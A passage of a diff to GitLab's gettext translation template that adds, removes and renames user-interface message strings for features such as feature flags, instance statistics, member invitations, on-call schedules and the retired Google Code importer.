+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
